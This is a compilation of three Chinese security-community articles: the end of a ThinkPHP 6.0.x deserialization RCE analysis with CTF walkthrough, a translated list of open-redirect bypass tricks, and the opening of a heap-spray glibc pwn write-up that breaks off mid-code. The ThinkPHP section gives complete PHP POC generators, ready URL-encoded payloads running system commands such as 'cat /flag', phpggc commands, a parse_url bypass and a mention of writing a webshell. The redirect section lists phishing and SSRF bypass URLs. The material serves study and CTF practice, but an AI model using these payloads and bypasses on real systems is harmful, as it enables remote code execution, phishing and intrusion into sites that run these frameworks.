但可以看到field和schema是默认为空的（位于vendor\topthink\think-orm\src\model\concern\Attribute.php中），所以不用管，然后进一步跟进`$this->db()`。
### （5）跟进db()方法
可以看到这里已经出现了用 `.` 进行字符串连接的操作了， 所以我们可以把 `$this->table` 或 `$this->suffix`
设置成相应的类对象，此时通过 `.` 拼接便可以把类对象当做字符串，就可以触发 `__toString()` 方法了。
### （6）__destruct() 链构造小结
目前为止，前半条POP链已经完成，即可以通过字符串拼接去调用 `__toString()`，所以先总结一下我们需要设置的点：
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
调用过程如下：
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix（字符串拼接）——>toString()
但是还有一个问题就是 `Model` 类是抽象类，不能实例化。所以要想利用，得找出 `Model` 类的一个子类进行实例化，这里可以用 `Pivot`
类（位于\vendor\topthink\think-orm\src\model\Pivot.php中）进行利用：
## __toString() 链构造
### （1）寻找 __toString() 方法
既然前半条POP链已经能够触发 `__toString()` 了，下面就是寻找利用点。这次漏洞的 `__toString()` 利用点位于
vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为`Conversion`
的trait中：
代码很简单，我们继续跟进 `toJson()` 方法。
### （2）跟进toJson()方法
没什么好说的，继续跟进 `toArray()` 方法。
### （3）跟进toArray()方法
对 `$date`进行遍历，其中 `$key` 为 `$date` 的键。默认情况下，会进入第二个 `elseif` 语句，从而将 `$key`
作为参数调用 `getAttr()` 方法。
我们接着跟进 `getAttr()` 方法（位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中）。
### （4）跟进getAttr()方法
`$value` 的值返回自 `$this->getData()` 方法，且 `getData()` 方法的参数为上面 `toArray()` 传进来的
`$key`，跟进一下 `getData()` 方法：
第一个if判断传入的值，如果 `$name` 值不为空，则将 `$name`值传入到getRealFieldName()方法。
这里面 `getRealFieldName()` 方法的参数，即 `$name`，依然是上面 `toArray()` 传进来的 `$key`。
继续跟进 `getRealFieldName()` 方法：
当满足 `$this->strict == true` 时（默认为true），直接返回`$name`，也就是最开始从 `toArray()` 方法中传进来的
`$key` 值。
从 `getRealFieldName()` 方法回到 `getData()` 方法，此时 `$fieldName` 即为 `$key`。而返回语句如下：
这实际上就是返回了 `$this->data[$key]` 。
然后再从 `getData()` 回到 `getAttr()`，最后的返回语句如下：
这时参数 `$name` 则是从 `toArray()` 传进来的 `$key`，而参数 `$value` 的值就是
`$this->data[$key]`。
继续跟进一下 `getValue()` 方法。
### 跟进getValue()方法
我们在getValue()方法中可以看到最终的利用点，即：
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
只要我们令 `$closure` 为 "system"，`$this->data` 为要执行的命令就可以动态执行system()函数来Getshell了。
我们尝试令 `withAttr[$fieldName]="system"`、`$this->data="whoami"` ，即执行
`system('whoami');`。
但如果要构造以上命令还需要绕过前面的两个if语句：
**通过①处if语句：** 只需 `$this->withAttr[$key]` 存在。
**通过②处if语句：** 只需 `$this->withAttr[$key]` 存在且不为数组。
即 `$this->withAttr` 数组存在和 `$date` 一样的键 `$key`，并且这个键对应的值不能为数组。
### （6）__toString() 链构造小结
至此，后半个POP链也构造完成，总结下__toString() 链需要构造的点：
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
除此之外还需要将前面说的字符串拼接处的 `table` 声明为Pivot类的对象，从而将两个POP链串联起来。
第二个POP链调用过程如下：
## POC
最终POC如下：
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
运行得到payload：
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
最后，利用我们该开始在Index控制器中创建的可控的反序列化点执行即可：
如上图，成功执行命令。
## 利用SerializableClosure来构造payload
还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用，我们来看一下这个方法。
主要是上面getValue()方法里的漏洞点，也就是构造pop链的最后的地方：
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
我们通过一步步控制 `$closure` 和 `$this->data` 最后构造并执行了动态函数。但是由于参数的限制，通过第一种方法我们无法执行
`phpinfo()` 这样的函数，所以我们尝试另一种方法，也就是利用 SerializableClosure。
[\Opis\Closure
](https://github.com/opis/closure)可用于序列化匿名函数，使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数，然后交由上述的
`$closure($value, $this->data)` 调用执行，即：
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data); // 这里的参数可以不用管
以上述代码为例，将调用phpinfo()函数。同样也可以通过将 `phpinfo();` 改为别的来写webshell。
修改上面的POC即可：
<?php
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();}; //可写马，测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];
$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
?>
然后我们要执行这个POC生成payload。虽然 thinkphp 有自带的
`SerializableClosure`，但是我需要在本地执行POC，所以就要自行下载 \Opis\Closure：
<https://github.com/opis/closure。>
将下载的Closure与POC放在同一目录
然后执行POC即可生成payload：
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7fb000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7f5000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D
但是SerializableClosure这个方法我在本地没有利用成功，但在最后面安询杯拿到题目里面成功了，不知道为什么。
执行效果如下：
## 利用phpggc工具生成paylaod
下载地址：<https://github.com/wh1t3p1g/phpggc>
phpggc是一个反序列化payload生成工具。网上一个大佬已经将ThinkPHP6反序列化的exp添加进[phpggc](https://github.com/wh1t3p1g/phpggc)中，需要安装在linux上，然后执行以下命令生成即可生成payload：
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('whoami');"
# php ./phpggc thinkphp/rce2 <code>
但这里由于用到了SerializableClosure，需要使用编码器编码，不可直接输出拷贝利用。
## CTF实战：[安洵杯 2019]iamthinking
[安洵杯 2019]iamthinking这道题目利用的就是ThinkPHP V6.0.x 反序列化漏洞。
进入题目，让我们访问/public/目录：
随便构造一个错误发现是thinkphp6的环境，并且提示我们要RCE：
题目给出了源码www.zip。拿到源码先看Index控制器：
这也太简单了，让我们用GET方法传入payload，然后将payload反序列化，不过事先要绕过绕过parse_url函数。
我们可以通过上面的POC构造payload：
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "ls /"]; // 查看根目录文件
// private $data = ["evil_key" => "cat /flag"]; // 读取flag
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
首先，我们查看根目录的文件，得到payload：
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
然后，就要绕过parse_url函数对payload中“O”的检测，parse_url函数有个bug，即在 **域名（主机名）** 后面多加了两个斜杠
`/` 后会报错返回false，所以我们构造类似如下的url即可绕过parse_url函数的检测：
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot......%3Bs%3A6%3A%22system%22%3B%7D%7D
这是因为多加了几个 `/` 后导致严重不合格的
URL，此时将不能正常返回url中的参数值，遇到这样格式的连接，parse_url函数将会报错返回False，这种情况下可能会绕过某些waf的过滤。
如下成功执行命令：
读取flag：
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
成功。
还可以利用上面提到的[phpggc](https://github.com/wh1t3p1g/phpggc)工具来生成payload：
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('cat /flag');"
# php ./phpggc thinkphp/rce2 <code>
## Ending......
> 参考：
>
> <https://blog.csdn.net/qq_42181428/article/details/105777872>
>
> <https://www.anquanke.com/post/id/187393#h2-1>
>
> <https://www.gaojiufeng.cn/?id=386>
>
> <https://www.anquanke.com/post/id/187332>
>
> <https://www.cnblogs.com/JinYITong/p/13994856.html> | 社区文章 |
# 分享几个绕过URL跳转限制的思路
##### 译文声明
本文是翻译文章，文章原作者 剑影，文章来源：t00ls.net
原文地址：<https://www.t00ls.net/thread-43001-1-2.html>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 一直在学习我热爱的技术知识，这么多年来，我还从来没真正的写过一篇自己的原创文章，接触到了WEB安全方面，我也积累了一点点经验，之前本来想大范围写下挖掘漏洞的各种思路，也是我这1年多所积累下来的经验，但是无奈，编写到一半我不小心点击了一个超链接，导致大部分都无法恢复了，因为我第一次，也没注意保存，过了许久，我最终还是鼓起勇气来写这篇文章。整个过程我没有贴图片，而是用详细的文字描述了出来，不要睡着呦~
这些小技巧都是我在漏洞挖掘过程当中实践过的。那些没有实践过的，比如网上也有很多思路，我没有遇到过成功案列我就不再列出来了，文章里的小技巧有些是我自己在测试过程中自己发现的，有些是网上已经有了的思路，
好，步入正文！
大家对URL任意跳转都肯定了解，也知道他的危害，这里我就不细说了，过~
大家遇到的肯定都是很多基于这样的跳转格式
<http://www.xxx.xxx/xxx?xxx=http://www.xxx.xxx/xxxxx>
基本的思路大家就是直接替换后面的URL来检测是否存在任意URL跳转，如果不存在，就直接返回到它自己的域名，如果存在，就跳转到你指定的URL，
这里我讲述我所知道的所有小点。
## 0x01 利用问号绕过限制
利用问号，这是一个特性，利用问号可以成功绕过URL限制
比如：<http://www.aaa.com/acb?Url=http://login.aaa.com>
这是一个跳转链接，跳转到它的二级域名下，那么这个问号放哪里可以绕过呢？其实就是放到它自身的域名前面也就是你添加的想要跳转的域名的后面，如：<http://www.aaa.com/acb?Url=http://test.com?login.aaa.com>
那么，它其实是会跳转到这个test.com域名下，这个域名是我想要跳转的任意域名，而后面的它自身域名一定要带上，不带上就无法辅助用问号?这个特性来跳转到指定域名了，而跳转后，问号和问号后面的内容会变为这样：<http://www.test.com/?login.aaa.com>
## 0x02 利用反斜杠和正斜杠绕过限制
这个是我自己研究出来的，不知道是否网上有人说过。
比如：<http://www.aaa.com/acb?Url=http://login.aaa.com/>
同样是在它本身域名前加上正斜杠，然后正斜杠前面跟上你想跳转的域名地址。
如：<http://www.aaa.com/acb?Url=http://test.com/login.aaa.com>
反斜杠有三种思路
两个反斜杠绕过方法
比如：<http://www.aaa.com/acb?Url=http://login.aaa.com/>
同样是在它本身域名前加上两个反斜杠，然后两个反斜杠前面跟上你想跳转的域名地址。
如：[http://www.aaa.com/acb?Url=http://test.com\login.aaa.com](http://www.aaa.com/acb?Url=http://test.com%5Clogin.aaa.com)
一个反斜杠绕过方法
如：<http://www.aaa.com/acb?Url=http://test.comlogin.aaa.com>
另一种思路，一个反斜杠一个点
利用.这样的格式，也就是一个反斜杠加一个点来跳过限制，
如：<http://www.aaa.com/acb?Url=http://test.com.login.aaa.com>
## 0x03 利用@绕过URL限制
如果你用这方法在火狐里进行跳转，会有弹窗提示，在其它游览器则没有。
如：<a
href=”http://www.aaa.com/acb?Url=http://[[email protected]](mailto:[email protected])“”>http://www.aaa.com/acb?Url=http://[email protected]
后面的test.com就是要跳转到的域名，前面的域名都是用来辅助以绕过限制的。
## 0x04 利用白名单缺陷绕过限制
有的域名白名单限制是不全的，比如如果想利用一个跳转，而这个跳转是通用，在这个公司网站很多子域名等都可以跳转，那么你买个域名也不算贵对吧。
为什么这么说呢，这个问题就是白名单限制不当，比如，当跳转的域名包含这个网站下的所有域名，比如：http://www.aaa.com/acb?Url=http://login.aaa.com
这个login.aaa.com也可以改成aaa.com同样可以跳转对吧，因为白名单里只要有包含这个域名就直接成功跳转。
那么当我在这个域名前面加上如testaaa.com，白名单里会检查是否包含aaa.com这个域名，如果包含，就直接跳转，而并没有检查这个域名的整个信息，然后可以利用这个问题，直接注册一个testaaa.com这个域名就可以利用这个跳转。
## 0x05 多重验证&跳转绕过限制
现在很多网站都有多重验证，比如你登陆账户后会出现另一个验证页面，输入手机验证码进行验证，此时这上面的URL很可能存在任意跳转的问题。
多重跳转的问题导致可绕过URL限制
比如http://www.aaa.com/acb?Url=http: … ttp://login.aaa.com
当然，还有多重的，这个结构的多重跳转你修改最后面的URL就可以达到任意URL跳转，中间的URL就没必要动了。
## 0x06 点击触发达到绕过URL跳转限制
比如很多登陆页面的地方，其URL是一个跳转的URL
如：http://www.aaa.com/acb?Url=http://test.com
你直接修改了后面为任意URL，但是还是停留在原地，似乎没什么问题，但是，当你输入账号和密码后点击登陆按钮后，就会触发跳转。
当然，这个账户和密码不一定要对的，随便都可以，但得视系统而定吧。
这个我遇到了很多，比如你修改了域名，然后点击登陆，登陆成功后便可触发跳转，这也是一个比较隐蔽的绕过URL限制的跳转。
## 0x07 利用xip.io绕过
这个我还没有在测试中应用过，其请求是http://www.127.0.0.1.xip.io
这个绕过是在SSRF场景中的绕过，比如SSRF你要读取内网地址，一般都做了限制，可以尝试用这方法进行绕过限制，从而访问到内网。
另外一点，URL跳转涉及的安全问题大家常见的就是钓鱼，那么利用这个思路也可达成一个钓鱼问题，如，http://www.qq.com.220.181.57.217.xip.io
当你访问qq这个域名时，其实这个链接已经被解析到后面这个ip地址上了，那么实际访问的就是后面这个IP地址。
## 0x08 利用超链接绕过可信站点限制
比如一个URL，它是可以直接跳转的，但是一般测试跳转时大家习惯用www.baidu.com或qq.com这样的可信站点进行测试，但是有些网站是可以跳转这些网站的。
只要是可信站点且常用，基本都可以跳转，那么这就属于正常的业务逻辑了，难度就这样错失一个URL跳转漏洞了？
其实不然，只要你的URL被百度收录过，那么直接搜索你的域名，site:xxx.xxx
因为你在百度里点击你的域名，它会先是一个302跳转，而这个302跳转就是百度下的302跳转，那么这样就可以绕过可信站点的限制，从而达到跳转到指定URL。
当然，百度这个302有点长，你给它进行加密就行。
## 0x09 POST参数中的URL跳转
当然，这个影响就很小了，比如当你填什么表格或者需要填写什么的，当你上传图片，点击下一步的时候，通常下一步就是预览你填写的信息，最后才是提交。
当你上传了图片后点击下一步抓包，如果过滤不严，你会看到图片的完整地址包含在POST参数里，你就可以直接修改这个地址为任意URL，然后到达下一步。
这时是确定信息也就是预览自己填写的信息的正确还是不正确，由于你刚刚修改了图片地址，这里是没有显示出来的，图像会是一个小XX。
当点击图片右键选择查看图像时，就会触发URL跳转问题，其实这个也可以利用来进行钓鱼，钓后台审核员的信息。
为什么呢，比如审核看到图片无法加载，一般都会点击查看图片，然后跳转，如果安全意识不知就会造成安全影响。
当然，如果POST参数里就只是URL跳转参数，那么你可以给它转成GET方式，然后进行跳转就可以了，只要网站支持这样的GET方式就行。
在Burp Suite里可以一键转换提交方式，右键选择Change request method就可以！
## 0x10 利用#号绕过
如：http://www.aaa.com/acb?Url=http://test.com#login.aaa.com
小结，想找到任意URL跳转问题，就不要光看表面，一个修改一个回车，不存在就不继续深入了，这将永远无法成长。
我总结了我对于URL跳转绕过限制的一些小点，希望能够帮助到大家！提前祝福大家新年快乐~ | 社区文章 |
# 堆喷思想在glibc pwn中的应用
## 前言
据笔者观察，在CTF比赛中许多glibc
pwn题难以结合实际漏洞对选手进行考察，web类的题目和CVE结合的更紧密一点。个人认为CTF作为信息安全爱好者入门的一个途径应该更加偏向实战中的技巧对选手的技能进行考察。近些年的Real
World模式，有`qemu逃逸`、`docker逃逸`、`VMware逃逸`、`浏览器沙箱逃逸`、`IOT设备破解`等新型题目，和实际漏洞更加贴近。`kernel
pwn`题目也让二进制选手把目光放在更底层的操作系统部分。
## 堆喷介绍
### 基本概念
堆喷并没有一个官方的定义，我们根据这种攻击技术的特点总结一下。堆喷是在`shellcode`之前加上大量的`slide
code(滑板指令)`，组成一个注入代码段。之后多次申请内存(一般是`堆等动态内存`)，用注入代码段反复填充，之后结合其他攻击技术来控制程序执行流，使其跳转到堆上执行，最终得以执行`shellcode`。
堆喷不同于`UAF`，UAF一般都有明确的可以重用的内存区域，不需要"喷射"多个对象内存，通常只需要将目标对象放到之前已经释放/易受攻击的内存空间中即可。
### 攻击原理
注入代码段的组成为`滑板指令+shellcode`，其中后者只需编写对应系统/架构/软件的恶意代码。以`32位windows`为例，前者一般使用`0x0c0c0c0c`。根据微软官网对于虚拟内存分配的介绍可以得知每个用户模式进程都有其各自的专用虚拟地址空间，但在内核模式下运行的所有代码都共享称为`系统空间`的单个虚拟地址空间。用户模式进程的虚拟地址空间称为`用户空间`
。
> 在 32 位 Windows 中，可用的虚拟地址空间共计为 2^32 字节（4 GB）。 通常，较低的 2 GB 用于用户空间，较高的 2 GB
> 用于系统空间。
也就是说这里的`0~0x7fffffff`的虚拟地址属于用户空间。
> 其中在`XP
> sp3`系统上的内存探测发现各种内存数据在内存地址的分布大概为`栈->堆->全局静态变量(从低地址道高地址)`，由此可知堆的起始分配地址是很低的。
>
>
> 当申请大量内存，堆很有可能覆盖到的地址是0x0A0A0A0A（160M），0x0C0C0C0C（192M），0x0D0D0D0D（208M）等等几个地址，这也是为什么一般的网马里面进行堆喷时，申请的内存大小一般都是200M的原因，主要是为了保证能覆盖到`0x0C0C0C0C`地址
那么为什么要采取`slide
code+shellcode`的组成形式呢，直接都用`shellcode`不好吗？这个问题我们可以举个小例子来看：假如可控内存大小为1kb，一个shellcode长度为16字节，假如我们填满shellcode，即64个shellcode，因每次需要定位到shellcode的头部才能完成执行shellcode的完整过程，我们假设其中有一个函数指针，其位置是随机的，成功执行sc的概率为`64/1024=6.25%`；如果我们采用`1008
bytes slide code+ 16 bytes shellcode`的方式，当执行`slide
code`的时候依然可以通过`滑栈`等指令往下执行到shellocde，此时成功执行sc的概率为`(1008+1)/1024=98.5%`，且差距会随着内存空间增大而越发明显，当到了我们实际虚拟内存中，触发成功的概率甚至高达99.9%。
第二个问题是我们为什么要选择`0x0c0c0c0c`这个值而不是`\x90`这种`nop`作为我们的滑板指令呢？这个问题跟我们控制执行流的方式有关，目前我们使用较多的攻击方式是攻击函数的虚表指针(以`c++`编写的软件为多)，虚表就是一个对象，里面存储了许多函数指针，假如我们拿`\x90`作为滑板指令，则这些函数指针都被覆盖成了`0x90909090`，在执行这些函数的时候会跳转到`0x90909090`的内核空间去执行代码，软件crash。而我们采用堆喷的方式让`0x0c0c0c0c`的内容也会0x0c0c0c0c，这种情况下无论是一级函数指针还是二级甚至三级指针，都能最终从`0x0c0c0c0c`这块地址开始执行，最终经过一系列的滑板指令到达shellcode，获取权限。
## TSCTF2019 薛定谔的堆块
这道题目是TSCTF(天枢CTF)2019的一道题目，当时是零解。出题人为`w1tcher`师傅，据`p4nda`师傅说他和`w1tcher`师傅聊天的时候谈到要出一道非传统的glibc
pwn，考验大家对于`堆喷思维`的了解和应用。遗憾的是当时对此知之甚少，现分析`w1tcher`师傅赛后给的wp，帮助大家了解这道涉及到堆喷的glibc
pwn。
题目下载链接如下：[文件](https://github.com/xmzyshypnc/xz_files/tree/master/tsctf2019/%E8%96%9B%E5%AE%9A%E8%B0%94/p1ayer.tar)
### 题目分析
这道题是一道linux glibc pwn，拿checksec查看一下保护机制发现这是一个32位的程序，开启了所有常见保护。
*] '/home/wz/Desktop/CTF/tsctf2019/brother/brother'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
主要功能函数为`play`函数，共实现了5个功能，分别为`Create`、`Display`、`Delete`、`Modify`和`CallFuc`
void play()
{
while ( 1 )
{
menu();
switch ( read_choice() )
{
case 1:
Create();
break;
case 2:
Display();
break;
case 3:
Delete();
break;
case 4:
Modify();
break;
case 5:
CallFuc();
break;
case 6:
puts("Thank you for using");
exit(0);
return;
default:
puts("Choice error!");
break;
}
}
}
Create函数主要是创建新的chunk，每一次Create会调用`0x10`次`malloc(size+4)`，分配一组相同大小的chunk，并且随机地将这些chunk地址及size存放在一个`bss`上一个大区块的16个小区域内。chunk的数量不超过`0x10*0x100`。并且将这`0x10`个节点开始的位置记录在`dword_4008`。
每次在读取完用户输入之后，会根据用户输入的`type`在`chunk[size]`后追加一个四字节的函数指针。
这里的`read_str`函数在读取输入的时候调用参数为`chunk_addr`及`size+1`，函数内部会在输入最后填'\x00'，这样就保证了输出会有`零字符截断`。
unsigned int Create()
{
unsigned int result; // eax
int choice; // eax
unsigned int i; // [esp+8h] [ebp-20h]
signed int j; // [esp+Ch] [ebp-1Ch]
signed int l; // [esp+Ch] [ebp-1Ch]
int k; // [esp+10h] [ebp-18h]
int size; // [esp+14h] [ebp-14h]
_DWORD *v7; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i <= 0xFF && dword_4060[32 * i]; ++i )
;
if ( i == 0x100 )
return puts("Full! you can't apply for more.");
printf("Please enter the size of note : ");
size = read_choice();
if ( size <= 0 || size > 0x20000 )
return puts("Size error!");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[2 * (k + 16 * i)]; k = (k + 1) % 16 )
;
dword_4060[2 * (16 * i + k) + 1] = size;
dword_4060[2 * (16 * i + k)] = malloc(size + 4);
if ( !dword_4060[2 * (k + 16 * i)] )
{
puts("Malloc error!");
exit(-1);
}
}
for ( l = 0; l <= 15; ++l )
{
printf("input note data : ");
read_str(dword_4060[2 * (l + 16 * i)], dword_4060[2 * (l + 16 * i) + 1]);
TypeMenu();
printf("input the type : ");
choice = read_choice();
v7 = (_DWORD *)(dword_4060[2 * (l + 16 * i)] + dword_4060[2 * (l + 16 * i) + 1]);// here
if ( choice == 2 )
{
*v7 = &unk_4014;
}
else if ( choice > 2 )
{
if ( choice == 3 )
{
*v7 = &unk_401C;
}
else if ( choice == 4 )
{
*v7 = &unk_4024;
}
}
else if ( choice == 1 )
{
*v7 = &unk_400C;
}
}
printf("Note creation success! Index is : %d - %d\n", 16 * i, 16 * (i + 1) - 1);
result = i;
dword_4008 = i;
return result;
}
/*
.data:00004010 dd offset common
.data:00004014 unk_4014 db 10h ; DATA XREF: Create+266↑o
.data:00004015 db 27h ; '
.data:00004016 db 0
.data:00004017 db 0
.data:00004018 dd offset transparent
